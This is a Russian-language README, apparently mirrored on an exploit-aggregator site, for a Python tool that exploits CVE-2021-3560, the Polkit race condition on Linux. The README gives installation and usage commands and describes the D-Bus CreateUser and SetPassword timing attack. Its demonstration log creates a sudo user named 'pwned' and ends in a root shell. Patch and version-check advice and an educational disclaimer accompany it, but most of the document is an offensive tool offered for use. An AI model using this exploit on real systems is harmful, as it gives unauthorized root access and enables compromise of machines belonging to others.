## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SEIMUPVE-CVE-2021-3560_POLKIT
# CVE-2021-3560 Polkit: локальное повышение привилегий
root@kitploit:~
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Автоматический эксплойт для уязвимости **CVE-2021-3560** , затрагивающей PolicyKit (Polkit) в Linux-системах.
> ⚠️ **ПРЕДУПРЕЖДЕНИЕ** : Этот инструмент предназначен исключительно для образовательных целей и обучения кибербезопасности в контролируемой лабораторной среде. Несанкционированное использование этого эксплойта на системах, которые вам не принадлежат, является незаконным.
## 📋 Содержание
* Об уязвимости
* Уязвимые системы
* Возможности
* Предварительные требования
* Установка
* Использование
* Как это работает
* Демонстрация
* Меры защиты
* Ссылки
## 🔍 Об уязвимости
**CVE-2021-3560** — это локальная уязвимость типа «состояние гонки» в PolicyKit (polkit), которая позволяет непривилегированному пользователю получить root-привилегии на уязвимых Linux-системах.
### Технические детали
* **Идентификатор CVE** : CVE-2021-3560
* **Критичность** : Высокая (CVSS 7.8)
* **Тип** : Состояние гонки / Time-of-Check Time-of-Use (TOCTOU)
* **Воздействие** : Локальное повышение привилегий (LPE)
* **Дата раскрытия** : июнь 2021 года
### Затронутые версии
Уязвимость затрагивает две ветки Polkit с разной нумерацией версий:
#### Upstream (официальные версии)
* **Уязвимы** : с 0.113 по 0.118
* **Ошибка внесена** : коммит `bfa5036` (версия 0.113)
* **Исправлено** : версия 0.119+
#### Форк Debian/Ubuntu
* **Уязвимы** : 0.105-26 и выше (до 0.118)
* **Ошибка внесена** : коммит `f81d021` (версия 0.105-26)
* **НЕ уязвимы** : Debian 10 «buster» (0.105-25)
## 💻 Уязвимые системы
> 📝 **Примечание** : Системы с установленными патчами безопасности (например, ubuntu1.1, deb10u1) **не** уязвимы.
## ✨ Возможности
* ✅ **Автоматическое обнаружение** уязвимости в различных дистрибутивах
* ✅ **Поддержка нескольких ОС** : Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
* ✅ **Проверка зависимостей** для требуемых инструментов
* ✅ **Режим проверки** : определение уязвимости без эксплуатации
* ✅ **Адаптивная синхронизация** : автоматическое измерение оптимальной синхронизации для состояния гонки
* ✅ **Индикаторы прогресса** : отображение прогресса в реальном времени
* ✅ **Цветной вывод** : понятный и удобный для чтения интерфейс
* ✅ **Надёжная обработка ошибок** : понятные сообщения при сбоях
## 📦 Предварительные требования
### Версия Python
* **Python 3.6+** (совместим со старыми системами, такими как CentOS 8)
### Системные зависимости
Эксплойт требует следующих инструментов (проверяются автоматически):
root@kitploit:~
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
### Требуемая служба
root@kitploit:~
- accountsservice # Must be installed and active
## 🚀 Установка
root@kitploit:~
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
## 📖 Использование
### Режим 1: Проверка уязвимости (--check)
Проверяет, уязвима ли система, **не** запуская эксплойт:
root@kitploit:~
python3 CVE-2021-3560_Polkit.py --check
**Пример вывода** :
root@kitploit:~
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
### Режим 2: Эксплуатация
Создание привилегированного пользователя:
root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
**Пример** :
root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
### Полный список опций
root@kitploit:~
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
## ⚙️ Как это работает
Эксплойт использует **состояние гонки** в PolicyKit во время обработки D-Bus-запросов.
### Принцип уязвимости
1. **D-Bus-запрос** : пользователь отправляет D-Bus-запрос на создание пользователя
2. **Проверка авторизации** : Polkit проверяет, есть ли у пользователя права
3. **Состояние гонки** : если D-Bus-соединение закрывается во время проверки, Polkit считает UID равным 0 (root)
4. **Создание пользователя** : пользователь создаётся с повышенными привилегиями
### Шаги эксплойта
root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
## 🎬 Демонстрация
### Типичный сценарий эксплуатации
root@kitploit:~
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
## 🛡️ Меры защиты
### Для системных администраторов
1. **Обновите PolicyKit** :
root@kitploit:~
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
2. **Проверьте версию** :
root@kitploit:~
pkexec --version
# Must be >= 0.119 (upstream) or patched
3. **Проверьте наличие патчей безопасности** :
root@kitploit:~
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
### Минимальная безопасная версия
* **Upstream** : ≥ 0.119
* **Ubuntu 20.04** : 0.105-26ubuntu1.**1** или выше
* **Debian 11** : 0.105-31+deb11u**1** или выше
* **RHEL 8** : polkit-0.115-11.el8_4.**1** или выше
## 📚 Ссылки
### Официальные статьи и документация
* **GitHub Security Lab** : Повышение привилегий с помощью Polkit: как получить root в Linux из-за семилетней ошибки
* **Red Hat CVE** : CVE-2021-3560
* **MITRE CVE** : CVE-2021-3560
* **NVD NIST** : CVE-2021-3560 — подробности
### Ресурсы TryHackMe
* **Комната TryHackMe** : Polkit CVE-2021-3560 (практика)
### Патчи и исправления
* **GitLab Polkit** : Коммит с исправлением
## 📝 Важные замечания
### Вероятность успеха
Эксплойт полагается на состояние гонки, а это означает:
* ✅ Обычно срабатывает за **1-20 попыток**
* ⏱️ Синхронизация **критически важна** (калибруется автоматически)
* 🔄 Максимум **100 попыток** на шаг (настраивается)
* 📡 Более высокая вероятность успеха через **SSH** , а не с локальной консоли
### Ограничения
* ❌ **Не** работает на пропатченных системах
* ❌ Требует установленного и активного **accountsservice**
* ❌ Пользователь должен иметь доступ к **системной D-Bus**
* ❌ В некоторых средах (контейнеры, отдельные виртуальные машины) эксплойт может быть заблокирован
### Пропатченные версии (НЕ уязвимы)
Следующие версии содержат патчи безопасности и **НЕ уязвимы** :
* `0.105-26ubuntu1.1`, `0.105-26ubuntu1.2`, `0.105-26ubuntu1.3` и т. д. (Ubuntu пропатчена)
* `0.105-26ubuntu2.1`, `0.105-26ubuntu2.2` и т. д. (Ubuntu пропатчена)
* `0.105-31+deb11u1` (Debian 11 пропатчен)
* `polkit-0.115-11.el8_4.1` (RHEL 8 пропатчен)
**Примечание** : Если ваша система определяется как уязвимая, но эксплойт завершается ошибками `PermissionDenied`, скорее всего, версия пропатчена. Эксплойт теперь корректно определяет такие пропатченные версии.
### Отладка
Если эксплойт не работает:
1. **Проверьте версию Python** (если вы получаете `TypeError: __init__() got an unexpected keyword argument 'capture_output'`):
root@kitploit:~
python3 --version
# Should be 3.6 or higher
# The script is compatible with Python 3.6+
2. **Проверьте, пропатчена ли версия** :
root@kitploit:~
pkexec --version
# If you see ubuntu1.X (where X > 0), it's patched
3. **Проверьте accountsservice** :
root@kitploit:~
systemctl status accounts-daemon
4. **Проверьте D-Bus** :
root@kitploit:~
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
5. **Запускайте через SSH** , а не с локальной консоли
6. **Отрегулируйте синхронизацию** , изменив `optimal_timing` в коде
## 👤 Автор
**Seimu**
## 📄 Лицензия
Этот проект предназначен исключительно для образовательных целей. Использование данного кода в несанкционированных целях строго запрещено и может повлечь за собой юридическую ответственность.
* * *
> ⚠️ **Отказ от ответственности** : Автор не несёт ответственности за любое неправомерное использование этого инструмента. Используйте его только в авторизованных тестовых средах.